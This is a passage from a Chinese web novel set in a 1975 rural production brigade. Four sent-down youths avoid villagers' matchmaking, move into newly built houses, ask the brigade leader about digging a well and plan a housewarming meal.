但儿子多，生活条件又不是很好的人家也是觉得这样的儿媳妇儿也不错。 她生不了就生不了呗，反正别的儿子还能生孩子。 于是乎，接下来的几天里，这四个人每天一上工，身边就会呼啦啦围上来不少人，不是问东就是问西，更有直接要介绍对象的。 这下可把这四个人全都吓够呛。 程十一倒是还好一些，直接说自己还小，还没到结婚年龄，就算不能劝退所有人，但好歹也有那么一点效果。 但另外三个人就没那么幸运了。 实在遭不住这些热情大娘大妈如此热情的招待，这四个人在第三天时终于忍不住了，集体找到了顾草根。 程十一这次不是受害最严重的人，所以直接由剩下三个人当中口才最好的祝成才当代表，和大队长顾草根好一番诉苦。 “大队长，不是我们不想认真好好上工干活，实在是这样的环境让我们根本没办法干活啊！他们一看到我们就跟猫看到鱼，狗看到肉似的，呼啦啦的全都冲过来要给我们介绍对象。” 祝成才的脸都快皱成苦瓜脸了：“您说说，我们这才刚下乡，我们也都是冲着支援农村建设来的，哪能一过来就说什么结婚不结婚的？” 一旁的陈丽娇冷着一张脸：“是的，大队长，这种事您最好管一管，否则我们四个就要去知青办找领导说说这事了。要是还这样，那我们四个会考虑申请换一个大队下乡。” 顿了顿，陈丽娇补充道：“房子也就不用盖了，我们认亏，这几天的工钱我们给，其他的我们不能给了。” 这话可是十一妹妹刚刚在路上教自己的。 现在给他们四个人盖房子的社员可不少，接下来至少还得忙上个三四天，如果真的就这样算了，别说工钱了，就连那些材料的钱都不会给。 顾草根哪能不知道自己手下管着的社员都是什么德行啊，别说是那些长舌头的社员了，就连自家婆娘这两天都没事好叨咕这事。 他家也是有没结婚的儿女的，要是能和这四个知青中的一个两个的成为一家人，那新房子还不是妥妥的就成了他们家的房子了？ 人都有私心，他顾草根也有。 可现在看着这四个知青的脸色，再听听这话，顾草根的心里就是一个咯噔。 这要真是闹到知青办了，那距离公社领导们知道这件事还远吗？ 他还想着争取下先进大队呢！ 马上就秋收了，他们光荣大队今年的收成看着还不错，很有可能争取评选今年的先进大队，可不能在这关键时候出现这种问题。 更何况那四间房子的材料都收上来了，现在要是不盖了，那些材料咋办？再退回去？那些社员能干？ “咳咳！” 顾草根清了清嗓子，沉声道：“这件事我知道了。放心吧，等会儿上工了我就和大家说说这事。你们都是好同志，要认真努力上工，至于别的，咱们大队肯定会公平对待，绝对不会让你们被欺负了去。” 就算欺负了，那也得等房子盖好，秋收结束，等先进大队评上了再说啊！ 顾草根在心里默默补上了这一句。 不是他不想将事情完全解决好，实在是社员们的小心思他一个当大队长的也不可能一个个的全都掐灭吧！ 陈丽娇看向程十一。 耿二牛和祝成才也一起看向了程十一。 很显然，他们都以程十一为主。 顾草根见此，嘴角一抽，也看向了程十一。 好家伙，这四个人里面能拿事的人居然是小程知青这个小臭丫头啊！ 程十一耸耸肩：“既然大队长这么说了，那我们就等大队长的态度呗！其实我们也知道大队长肯定是想我们都好好上工的，但是大队长啊……” 说着，程十一的话音猛的一顿。 莫名的，顾草根的心里就是一突突，总感觉接下来肯定不是什么好话。 他想阻止，奈何程十一比他的速度快多了，就听她幽幽说道：“我听说别的大队可出现过故意坏别人名声，然后逼着对方不得不嫁娶的事情。我也听说咱们光荣大队在咱们公社都是名声顶好的大队，所以，大队长，咱们光荣大队应该不会出现那样恶心人的事情吧？” 顾草根：…… 他就知道这臭丫头的嘴里说不出什么好话！ 深吸一口气，顾草根挤出一个比哭还难看的笑：“瞧你这话说的，咱们光荣大队叫啥？叫光荣大队！知道为啥叫光荣大队不？就因为咱们大队不做那种不光荣的事！” 第88章 大队长又掉坑里了 “哦！” 程十一故意拉长了声音，然后用力的点点头：“既然大队长这么说了，那我们就放心了。大队长你放心吧！我们很高兴能来光荣大队下乡，也相信大队长的话！” 明明是赞同附和的话，可顾草根怎么听怎么觉得不得劲，就感觉自己好像又掉坑里了。 程十一才不管他是个什么感受，招呼另外三个人离开了大队部，朝着知青点走去。 这会儿是下工时间，大家都赶回家做饭休息去了，路上倒是没看到什么人。 陈丽娇问：“十一，咱们这样真的行吗？万一等房子盖好了，那些社员们又过来说这说那的，到时候咱们怎么办？” 耿二牛和祝成才没说话，但也都看着程十一。 显然，他们俩也在担心这件事。 程十一撇嘴：“他们为啥会盯着咱们四个不放？一，咱们有新房子，对于那些家里人口多，房子少的人家来说，咱们就是香饽饽。” “二，咱们上工积极，干活积极。” 顿了顿，程十一看向耿二牛：“尤其是耿知青和祝知青，你们俩上工虽说还拿不到满工分，可也要比其他知青优秀很多了。” “能干活，能拿工分，这在那些人眼里，那就是能赚钱养家的小能手。你们说说，占据了这两点了，他们不看上咱们，还能看上谁？” 这一番话说得另外三个人全都沉默了。 好一会儿陈丽娇才不确定的说道：“可是我上工也不厉害啊！这几天我每天最多也就能拿四个工分。我听说一天拿四个工分，等到年底分粮食了都不够我自己吃的。” 这话说出口，陈丽娇都觉得臊得慌。 虽说她不指望着那点工分吃饭，可是这种事情落到自己头上，总有种自己是个废物，连自己都养不活。 程十一反问：“所以，你觉得自己赚工分养不活自己很丢人？” 陈丽娇昂了声，点点头：“有点。” 程十一又看向耿二牛二人：“你俩也是这样的想法？” 耿二牛同样点头。 他从小就干活，那赚的工分别说是养活自己了，再养活一个自己都行。 祝成才倒是没有立刻回答，反而认真的想了想，这才不确定的问程十一：“所以，你的意思是让他们放弃对咱们几个的那些想法，就要表现出咱们不是很能干，赚的工分别说是养家了，就连养活自己都费劲？” 程十一哼了声：“反正咱们四个也都不是非要指着工分才能吃饱饭的人，现在也不过是为了掐断一些烂桃花才伪装成不是很能干活的样子，有什么问题吗？” 祝成才摇头：“没问题。” 耿二牛则是丈二和尚摸不着头脑：“可是你刚刚不是说了吗，除了上工的问题外，咱们还有新房子啊！” 陈丽娇立刻用力点头：“对啊对啊！十一，这也是个问题啊！” 程十一直接赏了耿二牛一个大白眼：“咱们现在是有新房子住，但谁说那房子是咱们的了？回头把消息传出去，就说如果咱们结婚了，那就不能占大队的便宜，到时候就是没有房子的人，娶谁就住谁嫁，嫁谁就住谁家呗！” 另外三人齐齐瞪大眼睛。 好家伙，这事还能这么说？ 程十一看他们三个如出一辙的憨憨表情，简直没眼看了。 耿二牛也就算了，他的长相本来就是很憨厚的那种。 祝成才成天和耿二牛在一起，被影响了也说的不过去。 但是，为毛她的娇娇姐也变成铁憨憨了？ 她的高冷女神姐姐啊，居然变成铁憨憨美女姐姐了！ 呜呜呜，早知道就不带着耿二牛那个憨憨一起玩了，现在可好，把她好好的一个娇娇姐姐也给带坏了！ “行了行了，反正咱们也不是想换大队就能换大队的，能躲一天是一天的。大不了以后咱们出门都一起结伴出行，也省得真被人盯上，再干点坏事啥的，逼着咱们四个人不得不婚嫁。” 程十一其实也没有特别好的办法。 他们是下乡知青，和这些土生土长在这里的社员之间本来就有差距。 如果真的和社员们起了冲突，就算他们这几个人占理，可大队上肯定是偏袒自己的社员更多一些。 所以，他们目前只能是尽可能的躲避危险。 再坚持坚持，今年是75年，只要坚持过这一年，明年高考，他们能考出去，那就不用再担心这些了。 当然，考不出去的也没关系，反正后年就开放了，到时候发展的机会更多，离开这里的机会自然也会更多。 就是这些不能和这三个憨憨明说。 唉，太难了，真是太难了。 看着程十一背着手，像是个小老头儿一样，一边摇头一边叹气的朝前走，后面的三个人你看看我，我看看她，全都是一脸的茫然不解。 这是个什么情况？怎么突然就变得好像众人皆醉她独醒了？ 还是陈丽娇最先反应过来，哎呀了声，跺了跺脚：“十一这么说肯定有道理！反正就我听十一的！” “我也听小程知青的！” 耿二牛说得用力，就是脸上还是憨憨的傻笑。 祝成才眨巴眨巴眼，总感觉自己好像被扔出来了，但他反应快啊，当即用力点头：“我也是！” 说着，三个人就赶紧跟上了程十一的脚步。 因为这四个人没几天就会搬出知青点的原因，老知青和剩下的新知青们对他们的态度都变得耐人寻味起来。 不会搬走的女知青们有心里泛酸水的，就比如那三个老知青。 她们也想自己单独住一个房子，可她们手里没钱，就算有钱了也不敢，万一被什么坏人盯上了，那她们可就得赔上一辈子的幸福了。 不过这也不妨碍她们泛酸啊！ 而有的人，诸如孙娟，那就是妥妥的高兴了。 尤其是一想到程十一以后不会和她住一个屋里，孙娟就高兴得恨不能笑出声来。 而李娜的心情则是格外的复杂。 有羡慕，有嫉妒，也有难过。 她还以为自己和程十一的关系改善了呢，没想到啊，只是改善了那么一下下，自己果然还是加入不到程十一和陈丽娇的友情中去。 第89章 房子建成了 大队长发火了！ 大队部前面的空地上，顾草根嗷嗷嗷的骂人声传出去老远。 “……你们一个两个的啊，一天天的是不是都闲出屁来了？啊？马上就要秋收了，一个个的不赶紧琢磨着给家里人多吃点好的，多养养身体好好上工，天天的叭叭的就去扯那些个没用的老婆舌！” 顾草根一边骂，手还一边指指点点。 所有被他的手指点过的人全都下意识的缩了缩脖子，耷拉着脑袋不敢吭声。 虽说顾草根没有点名道姓的骂人，可大家都清楚这是在说哪些人。 最近几天说的最多最热闹的就是关于那四个起新房子的知青的事了。 动心思的人家不少，但并不是所有动了心思的人家都会去跑到人家知青面前扯东说西。 现在大队长突然把这件事单独拿出来说，不用想都知道肯定是那些跑到人家跟前说事的人太过分了。 知青是什么人啊？ 那可都是上过学，读过书的文化人，那心眼子可比他们这些土里刨食的人多多了。 招惹了那些人不高兴，人家能不闹吗？ 老知青倒是还好一些，毕竟相处的时间长了，多多少少还是了解些的，可新来的知青就没那么好说话了。 这不就踩到了人家的雷区了？ 顾草根一连骂了十多分钟，那嘴角都起白沫子了，这才一挥手，让人散了。 程十一四人和知青点的其他人都站在一起，不过他们四个人的位置要更靠后些。 陈丽娇挽着程十一的胳膊，凑到她耳边小声嘀咕：“这大队长平常看起来挺好说话的，这一发火，看起来还真挺吓人。” 程十一没吭声。 吓人？ 这要不是他们四个人之前的那番话，大队长会表现得这么得罪人吗？ 说白了都是利益驱动罢了。 被顾草根这么一通骂，效果还是挺好的，那些苍蝇蚊子都不凑过来了，着实让程十一四人过了几天消停日子。 终于，房子建成了。 清一色的黄土泥墙，茅草的屋顶，看起来也没比大队上的大部分人家新鲜多少。 房子里都是两间屋子。 基本上是一半一半的大小。 刚一进屋就是厨房。 靠着睡觉那屋墙面的是个灶台，不过除了程十一外，另外三个人的灶台上现在都只扣了一块木板。 因为只有程十一是带了铁锅下乡来的。 灶台旁边到里屋门的空地上搭了张长条桌。 平日里切个菜之类的就在这里完成。 桌子的一侧就是里屋门了，而在屋门的另外一侧则是摆着个架子。 上面被分成了两层，可以用来摆放碗筷或者是剩菜剩饭之类的。 不过没有门，需要的话就自己扯个帘子就行。 架子下面的空间很大，是用来放一些米缸之类的大物件。 水缸就在架子里面的角落。 而在水缸对面的墙根现在是空着的，回头会用来堆放木柴。 厨房也称外屋，目前的情况也就是这样，至于以后会怎么样，那还要看主人家自己的操办。 里屋的面积和厨房的面积差不多大，但一张炕就占据了一半的空间。 其实炕也不算大，最多能睡三个人。 程十一特意和黄有根定了炕琴。 是一排摆在炕稍的矮柜。 柜子里面可以放东西，上面可以摆被褥，也算得上是村子里面很常见的家具之一了。 不过炕琴现在还没做出来。 炕上现在什么都没有。 靠着门对面的墙下摆着个柜子。 这是黄有根早就做好的柜子，程十一直接过去挑了个现成的。 也没有什么颜色之类的，甚至连个像样的图案都没有，就是最简单的原木色柜子，被刷了亮油。 不过可能是做出来的时间不短了，加上又一直摆放在黄家的后院，亮油的气味早就已经散干净了。 柜子和北墙之间的空摆了一张方桌，两侧分别有一把长条凳。 此时桌子上放着一卷炕席。 这炕席也是用稻草捆扎成的。 在房子的墙体起了半米后，这炕就被搭出来了，虽说已经烤了好几天已经干透了，但顾草根觉得还是再多晾晾，所以炕席就被单独放在了桌子上，回头人搬进来后自己铺上就行。 整个房子里的家具摆设就只有这些。 其实要说多宽敞那是真的没有。 说是五十平的房子，可墙体厚，一下子就占据了不少面积，以至于房屋的实用面积就变少了很多。 好在这四个人都是打算一个人住的，这面积倒也够用了。 除了这间房子外，还另外搭了两个棚子。 木头做架，上面铺着干草。 后面靠着院墙，两侧则是用草帘子挡着。 这也是柴禾棚子。 天气热乎的时候倒是还好，随时都能去山上捡点柴回来就能用。 可等入了冬，别说是上山捡柴了，光是出门都需要不小的勇气。 所以这里的人一旦秋收结束就会立刻囤积柴禾。 这半年的冬天可是需要不少柴禾来取暖的。 至于煤？ 那玩意儿需要煤票，整个光荣大队也没几家人用得起那东西。 顾草根将这些都考虑进来了，所以直接连问都没问，直接就吩咐了下去。 等到顾草根介绍起这草棚子的用处时，程十一四人都是一脸的错愕，之后就是感激。 要不是村长说，他们还真想不到这一点。 四个人之前商量过，院子的前后长度统一了，这样院子就不会变得长长短短的不好看。 程十一和陈丽娇的院子挨着，两家的院门也是挨着的。 院门通往房子前面空地的路已经被夯实，另外一侧的大部分空地则是荒着，说是回头可以开垦出来做菜园子，这个不需要和大队再报备了。 后院的面积和前院差不多大。 按说一般人家的后院也都是用来开垦菜园子用的，当然，也可以用来养鸡养猪。 不过鸡和猪那都是有定额的。 知青点本来也有份额，据说刚开始也养过，可后来干活的人嫌累，不干活的人嫌脏，只养了没两年便没有再养了。 程十一暂时没想过自己养鸡养猪，更何况她就一口人，那养猪的份额怎么都落不到自己头上。 第90章 大队长脸上有字——你再说一遍 后院也可以开成菜地，但程十一还是另外出钱，愣是让人挖出了个旱厕出来。 不挖不行。 大队上倒是也有公共厕所，且不说那厕所简陋到何种程度，就说这个距离吧，一来一回的，程十一担心自己如果拉肚子，可能还没到地方呢就得赶紧回家洗裤子了。 所以必要的旱厕还是需要的。 本来是想盖在院子外面，这样他们四个人一起用，可一想到可能还有别人会进去上厕所。 遇见个讲究点儿的，不用的到处都是的还好，可万一也和村子里的公共厕所那样，程十一觉得自己可能会炸毛。 所以，还是自己挖一个出来吧！ 陈丽娇也出钱挖了一个。 至于两个男知青，俩人一合计，一人出一半钱。 于是，三个院子多了三个旱厕，全都安排在了后院的西北角落。 据说那里是冬天的风口，风会从那边吹得多一些。 可冬天大家都关门关窗户的，而且天冷都冻住了，不会有什么气味。 夏天了一般都刮南风，气味不容易飘过来。 对于这样的选址建议，程十一表示还是听老人话比较好。 毕竟，不听老人言，吃亏在眼前啊！ 陈丽娇家的另外一侧就是两个男知青的院子。 俩人只建了一个院子，可因为房子差不多大，加上又商量好了院子的长短一致，这就造成了他们俩的院子几乎是程十一的院子的两倍。 好在自家的院子是开成菜园子还是空着，这都是各家的事，只要不是种粮食之类的，大队上基本上不会管。 “行了，房子都这样了，你们看看还有啥不满意的不，抓紧说，后天就秋收了，到时候就算你们这房子塌了，大队上也没人能过来帮忙。” 作为大队长，看在这房子也是大队财产的份儿上，顾草根亲自过来陪着这四个人验房。 程十一摇摇头，表示自己没意见。 陈丽娇也一样。 和老家的房子肯定是不能比了，但是和知青点相比，陈丽娇觉得这小房子是真的很让她舒心。 至于那两位男同志，俩人更是半点意见都没有了。 男知青那屋的矛盾不能说没有，但肯定是没有像女知青那样闹得那么厉害。 表面上，大家其实还是都能说得过去的。 但卫生环境那是真的差啊！ 一进屋就是一股臭脚丫子味儿，人一多，那汗臭味噶的一下就冲上来了。 耿二牛和祝成才俩人是真的要被熏死了，每天进屋都需要做好一段时间的心理建设才行。 以至于他们俩每天都是最后才进屋睡觉，也是每天早上最早起来的俩人。 如今终于有了自己的窝，不用再那么辛苦了，俩人高兴都来不及，哪里还能想着找毛病这事？ 更何况这俩房子也是真的挺不错的了。 家具什么的，三个人都是学着程十一那样，去黄有根家里挑的。 但凡是有现成的就买现成的，没有现成的，那就定同一款。 “行，没问题你们就找个时间搬过来吧！” 顾草根虽然刚刚说得不好听，什么房子塌了不塌了的，但真实情况是，他也觉得这四间房子挺不错。 要是这四个知青真有全都回城的那一天，这四间房子留下来分给大队上的孤寡老人住，那真是妥妥的。 顾草根看他们都没意见，他心里更高兴了，脸上也多了点笑：“行，那你们自己折腾吧！对了，明天村里安排牛车去公社，你们要是想去公社办事啥的，早上早点过去。” “哎，谢谢大队长！” 耿二牛笑呵呵的道谢。 算算日子，家里给他邮寄的东西应该快到了，明天去看看，要是还没到，估计就得等秋收之后才能拿到了。 祝成才也是这个意思。 陈丽娇其实也想去，不过她还是习惯性的看向程十一，想看看程十一是个什么安排。 程十一却没接这个话茬，而是看着一脸笑意的顾草根，突然问道：“大队长，我那院子能挖个水井不？” 顾草根脸上舒心的笑猛地僵住，瞪大了眼睛看向程十一，就差没把“你再说一遍”五个字写在脸上了。 程十一眨巴眨巴眼睛，不明白自己问的问题哪里不对，怎么大队长的表情就好像是听到了世界末日似的呢？ 下意识的抬头看了看天空。 嗯，大晴天，万里无云，特别好！ 温度也不算很高，整体来说挺舒服的，可不是上辈子末世里的天灾里的场景。 程十一又看向顾草根，重复了下自己的问题，又道：“我们这里距离打水的地方有点远，更何况我和陈知青力气也小，要是每天都打水的话，估计就没啥力气去上工了。所以我寻思着为了不耽误我们上工，所以我们最好是能自己打个水井。” 此话一出，顾草根还没有所反应，陈丽娇就立刻附和起来：“是啊，大队长，我俩力气太小了，来回打水肯定撑不住的。” 耿二牛下意识的想说自己可以负责担水，可他还没等开口，一旁的祝成才就给了他个眼神，还微微摇了摇头。 耿二牛也不是真的傻，一看到这反应就立刻闭嘴装鹌鹑。 顾草根深吸一口气，感觉自己刚刚真的是差点没被这个臭丫头给憋死过去。 “挖水井这事不是不行，但现在不行。那玩意儿一天两天的整不好，你要是非要弄一个，那就等秋收之后再说吧！” 乍一听这事，顾草根只感觉自己耳朵出问题了，听岔劈了，可再一听后，顾草根也觉得这是个很大的问题。 所以他没有说什么不同意的话。 程十一一听，眼睛亮了：“行！那就拜托大队长回头帮我们联系一下这样的能人了哈！” 顾草根没好气的瞪了程十一一眼，随即转身，背着手脚步匆匆的离开了这里。 不能再待下去了，他有种感觉，如果自己再多待一会儿，到时候肯定又得掉那个臭丫头挖的坑里面！ 四个人纷纷招呼“大队长慢走”之类的话，等到顾草根的身影彻底走远了，陈丽娇这才兴奋的又蹦又跳：“太好了！终于可以搬家了！十一，我们现在就回去搬东西吧！” 第91章 要不要请暖房酒？ 选个好日子搬家？ 不存在的！ 陈丽娇三人是完全没有这个概念，而程十一则是觉得没必要。 要不是之前的房子还没完全弄好，不适合住人，程十一早就想搬出知青点了。 “行！咱们回去收拾东西！” 程十一一招手，四个人一起兴致勃勃的朝着知青点赶。 搬家搬家！ 这会儿还是上工时间，要不是今天是验收新房子的日子，这四个人也是要去上工的。 但又因为马上就是秋收了，所以这两天上工反而没有那么严格。 所以一路走过去，还是有不少社员都看到了四个新知青满脸喜色的朝着知青点赶的画面。 “哟，小程知青，你们这是新房子建好了啊？” 旁边路过的一个院子里突然传来一个女人高声的招呼声。 程十一四个人一起看过去。 不等这四个人给出任何回应，那人又继续说道：“打算啥时候搬啊？搬了新房子，是不是得整个席面暖暖房啥的？到时候可得叫上咱们啊！” “暖房？” 陈丽娇有点懵。 程十一则是翻了个白眼，没好气的说道：“快点走吧！别搭理她！” 还暖房，她倒是请得起客，可问题是吃饭的人拿的出合适的礼吗？ 陈丽娇哦了一声，也不去看刚刚说话的女人了，紧跟着程十一的脚步离开。 耿二牛和祝成才对视一眼，他们俩倒是明白暖房的意思。 搬了新家，请客吃饭也算得上是约定俗成的事了。 只是他们俩在这里也没什么特别熟悉的朋友，最多也就是知青们。 但……一想到要请那些人吃饭，无论是耿二牛和祝成才都有一种如鲠在喉的感觉，就挺不舒服的。 耿二牛人高腿长，两步抵得过程十一三步，很快就跟上了程十一的步伐，同时问道：“小程知青，你说咱们搬了家后要不要找大队长和钱会计他们吃顿饭？” 程十一的脚步稍微放慢了些，等到祝成才也跟上来了，这才问：“你们俩啥意思？” “啊？我没啥意思啊！” 陈丽娇摇头，刚刚走得有点快了，让她有点喘：“我都听你的。” 程十一的嘴角不受控制的抽了下。 说好了她是姐姐，自己是妹妹呢？怎么遇到事情了反而要让妹妹来做决定的？ 不过这样也挺好，程十一并不是很喜欢被人管着。 看向祝成才，祝成才则是想了想才道：“我觉得还是请一下吧！也不用请太多人，就叫上大队长那几个大队的领导就行了，你们说呢？” 耿二牛附和：“我也是这么想的。” 之后俩人一起看向程十一。 程十一：…… 并没有感觉自己被需要到是肿么肥四？ “想请就请，先搬家，搬完家再说。” 程十一倒是没想过请客吃饭这种事。 毕竟她已经送过礼了，送的那些礼的价格放在当下这种物价来算，再起一间新房子都足够了。 不过她还是很尊重同伴们的意思的，他们既然觉得应该请，那就请呗！反正和大队的领导们处好关系总没坏处的。 四个人很快就定好了请客的事，不过细节还需要回头再细谈。 到时候就在新家里讨论，嗯，真好！ 搬家的时候，两个男知青的东西基本上还和下乡时候带来的行李差不多，唯一的麻烦就是得重新打包装好。 陈丽娇也差不多，而程十一则是那个东西最多的了，比刚下乡的时候多了好几倍不止。 好在程十一有婴儿车在，最下面放着箱子垫底，再将被褥铺在箱子上面，之后将包袱一一罗列上面。 最后还剩下了个不大的包袱，直接背上就可以，至于那个筐，程十一一直都挺喜欢这个道具的，就随手挂在了婴儿车的扶手上。 这么大一车，只靠着程十一一个人拖拽那是真费力。 好在有耿二牛这个大力士在。 他的大包袱直接放在了扶手上面，靠着程十一的行李，推着婴儿车就走。 祝成才和陈丽娇走在婴儿车两侧，方便随时观察路况和车上行李的情况，万一有个不稳之类的，他们还能紧急搭把手。 程十一也没闲着。 大家也不知道她是从哪里倒腾出来了一捆旧绳子，几下就捆在了婴儿车前面的车架子上，再往身上一套，就这么当起了拉车的小黄牛。 本来祝成才是想做这份工作的，可他的行李也不少，婴儿车上又实在是放不下了，没办法，他只能自己扛行李。 至于陈丽娇，她还没张嘴就直接被劝退了。 就那点小力气，程十一表示她是真的觉得还不如自己这副小身板呢！ 四个人眼看着就要到新院子了，大队的下工声也响起了。 这里距离上工的地方还是挺远的，四个人倒也不紧张，等到下工的社员全都回来了，他们也都到地方了。 果不其然，婴儿车牌手推车刚刚在程十一的院子里停好，住在附近的社员们才纷纷到家。 对于那突然多出来的三个院子四间房，附近的社员们已经习惯了，毕竟都盖了好几天了，想不习惯也不行。 “你们先把各自的东西收回去吧！等会儿你们来我这边吃饭，我这里有锅。” 程十一主动提出邀请。 也不是她烂好心，实在是他们四个人当中就只有她有锅，至于另外三个人，别说是锅了，就算是烧水的瓦罐都没一个。 现在四个人是邻居了，以后相互帮扶照顾的时候肯定不少，现在做个顺水人情也不是多难的事。 闻言，陈丽娇当即举手：“我做饭！十一，等会儿我带口粮过去！” “我俩等下也把口粮送过去！” 祝成才也立刻说道。 耿二牛则是憨憨笑着说道：“你们的水桶都准备好，等下我去担水。” 程十一没意见。 她是有力气，但现在提水用的都是大木桶，那木桶的份量本身就不轻了，再加上一桶水…… 程十一觉得如果自己一直这么担水吃的话，她的身高可能会成为她一辈子的痛。 为了能让自己的身高再长一长，程十一决定自己就厚脸皮的接受耿二牛的辛苦搬运了！ 第92章 谁家好人下乡带四套被褥？ 水缸也还没到位，水桶倒是每个人都买了两个。 毕竟担水的时候可以两个一起来，会省事些。 另外三个人全都拎着各自的行李回了各自的家，而程十一则是开启了搬搬搬模式。 围墙都有一人多高，这是为了防止有人有事没事的过来爬墙头。 但程十一和陈丽娇两家之间的院墙就没有那么高了，至少程十一踮踮脚就能看到，而陈丽娇甚至连踮脚都不用就能看过来。 这是为了方便两个人相互照应着，但也决定了程十一不可能在自家的院子里为所欲为。 所以，她现在只能靠着自己的一把子力气搬搬搬。 要不是外屋门有门槛，再加上婴儿车的宽度也比一般的手推车还要宽不少，不好直接推进屋里去，程十一是真不想浪费这个力气。 好在只要一进屋，所有的操作就可以变得很简单了。 一进厨房，立刻将东西收进系统空间，然后再空手进屋，将所有行李从系统空间拿出来，堆放在炕上。 接下来慢慢收拾就是，主要是自己不少东西已经不需要拿出来摆着了，不常用的收进系统空间，随时取用才方便。 陈丽娇拎着口粮过来的时候，看到的就是程十一正蹲在炕上摆弄一炕的行李。 这几个大包袱自打进了知青点后，程十一就没打开过，要找什么也是程十一伸手进去摸。 以至于陈丽娇也是第一次看到这些包袱里面的东西。 这一看，陈丽娇的眼睛都直了：“十一，你，你带的东西也太多了！” 是真的多，还不是一般的多。 被褥这些，她也带了，同时家里也会给她多邮寄一套厚实的被褥，过冬的时候再盖。 而程十一的被褥就不是单纯的一套薄的一套厚的那么简单了，而是足足有四套！ 看着不是新的，可这个年代谁会计较新旧啊，又不是结婚嫁人，没那么多讲究。 除了四套被褥也就算了，关键是陈丽娇还看见了米袋子、面袋子，甚至是木头箱子。 也不知道木头箱子里面装了什么，这会儿被随意的摆放在了地上。 程十一看了她一眼，倒是没有什么太大的情绪波动，只是反问：“你的被褥够盖不？我这里有多的，分你一套。” 陈丽娇下乡的行李里面就只有一套被褥，而且还都挺薄的。 现在晚上的气温并不算很高。 之前在知青点，自己的大包袱打开了会很容易让人惦记上，这才一直没提。 如今也没外人在了，程十一也就不再藏着掖着。 陈丽娇对她的好，她心里清楚着呢！ 况且这些被褥又不是她花钱买回来的，全都是王家人用的东西。 不新，但干净，因为脏一点都会被原主拿去洗干净。 用来送人，程十一不心疼。 陈丽娇连忙摆手：“不用不用，我家里给我邮寄的东西应该也到了，明天我去看看，如果到了，我那里也是够用的。” “哦。” 程十一点点头，也没坚持，又抬了抬下巴，示意陈丽娇去看地上的箱子：“那里面是一些调料之类的，你做饭应该能用得上。” “这一箱子都是调料？” 陈丽娇再次震惊。 谁家下乡会带一箱子调料啊？ 程十一嗯了声，没说什么。 那箱子调料是她从王家带出来的，还稍微整理了下。 不过王家的调料也没那么齐全，所以里面还有不少东西是程十一从商城里买回来后摆在里面的。 之所以放在箱子里，主要是怕瓶瓶罐罐的洒出来，怪脏的。 陈丽娇赶忙将箱子抱起来直接去了厨房。 厨房有个操作台，不算很大，但放个箱子还是够用的。 打开后，陈丽娇的惊呼声就没停下来过。 油盐酱醋这些有就算了，关键是白糖红糖也都有不少，还有很多花椒大料，甚至是一些瓶瓶罐罐的粉末。 陈丽娇一一打开后闻过后，有些她认识，有些是真的分辨不出来，便好奇的拿到屋里去问程十一。 程十一闻了闻，全都给出了答案。 其实也不是什么特别稀奇的玩意儿，无非就是白胡椒粉、黑胡椒粉，还有一些其他味道的调味品而已。 不仅说出了名字，还说出了做什么东西可以用到，听得陈丽娇连连震惊称赞。 直到耿二牛和祝成才过来，屋里的两位女同志这才结束了调料的讨论。 按说这是人家女同志的屋子，祝成才和耿二牛两个男同志不好进来，但青天白日的，门窗还开着，再加上程十一也没那么多忌讳，便让人都进屋来了。 这才发现这俩人拿的口粮并非是单纯的粗粮那么简单。 祝成才还拿了两罐肉罐头。 耿二牛拎了两根干肠，看起来也得有小一斤。 不仅是他俩，就连陈丽娇也拿过来了不少好东西。 程十一扫了一圈，从炕上跳了下来，打开地上的柜子门，从里面拎出来了个半圆竹筐，转身递给了陈丽娇：“这我是之前从其他社员家里换来的，正好今天加个菜，庆祝咱们四个有了各自的房子。” 那筐上面也没盖着布之类的，陈丽娇一眼就看清楚了里面的东西。 一把韭菜，估摸着能有一斤左右。 一棵白菜，也没什么干巴叶子，被清理得很干净。 还有几根黄瓜和辣椒，三个柿子，以及……十来个鸡蛋。 “你什么时候换的啊？” 陈丽娇很惊喜。 程十一抓了抓下巴，有点心虚，但说出来的话却很淡定：“就前两天。” “哦哦，十一，还是你厉害！” 陈丽娇也没细究，反正十一妹妹就是厉害！ 因为有了程十一的青菜加入，这顿饭可谓是四个人下乡后吃的最合胃口的一顿饭了。 去国营饭店，为了节省钱和饭票，耿二牛和祝成才都没怎么放开吃。 可今天不一样，口粮是自己带来的，吃多少拿多少，根本不用像在知青点那样谨慎小心。 菜的份量也不算少，味道不如国营饭店，可架不住比知青点的水煮菜强啊！ 一顿饭四个人吃得那叫一个满足，全都忍不住摸了各自的肚子。 “吃饱的感觉可真好啊！” 祝成才忍不住打了个饱嗝：“要是以后天天都能吃这么饱就好了。” 第93章 这是眼谁呢？ 要是能天天都吃饱就好了。 听起来就是一句再简单不过的话，可对于当下这个时代的大部分人来说，这还是一个很美好的愿望。 而对于程十一来说更是一种执念。 吃饱，吃好，这就是她这辈子活着的最大目标。 四个人将饭菜全部吃干净，剩下的那点菜汤都被两个男同志分着拌饭消灭干净了。 陈丽娇作为贴心大姐姐，见大家的饭盒都干净了，便拿着程十一的暖壶走过来，给每个人的饭盒里倒了些热水。 程十一则是说道：“都说说吧，啥时候请客吃饭比较好，还有做什么菜，咱们四个好好研究研究。” 这是他们四个人的事，自己不可能拍板决定。 哪怕是最后拍板的人还是她，可该走的过程也还是要走的。 陈丽娇将暖壶放下后坐下来，率先说道：“先定人数吧！大队长钱会计他们加起来，我算了算，应该有五名干部。再加上咱们四个，一共九个人，估摸着一桌坐着可能会有些挤，得两张桌子并一起才行。” 程十一点点头。 确实，他们四个人每个屋子里都有一张一米见方的方桌，他们四个人坐倒是没问题，再加两个人倒也勉强，但九个人是肯定坐不下的。 祝成才和耿二牛对视一眼，主动说道：“就摆我俩那个院子吧！正好我俩的桌子搬来搬去的也方便。” 程十一再次点头：“行，吃饭的地点就定你俩的院子了，那菜呢？你们什么想法？” 耿二牛举手：“我那还有干肠，回头我拿二斤出来，怎么也算得上是一道荤菜了。” 一听“二斤”，就连手头宽裕不差钱的陈丽娇都忍不住抽了抽嘴角：“二斤，还是干肠，耿知青，你要不要这么大方？” “啊？” 耿二牛挠了挠后脑勺：“多，多吗？” “太多了！” 祝成才差点没哭出来：“你一下子拿两斤干肠出来，你让我怎么办？我手里就剩下四盒罐头了，总不能全都拿出来一顿吃完啊！” 陈丽娇也道：“是啊！我手里的罐头也不多了。” 程十一眨巴眨巴眼，总感觉如果自己没有系统在手的话，就算自己拿走了王家的所有东西，估摸着都比不过这三位小伙伴的零头。 好家伙，下乡带行李什么的也就算了，竟然还带了那么多干肠和罐头。 这是眼谁呢？ “咳咳！” 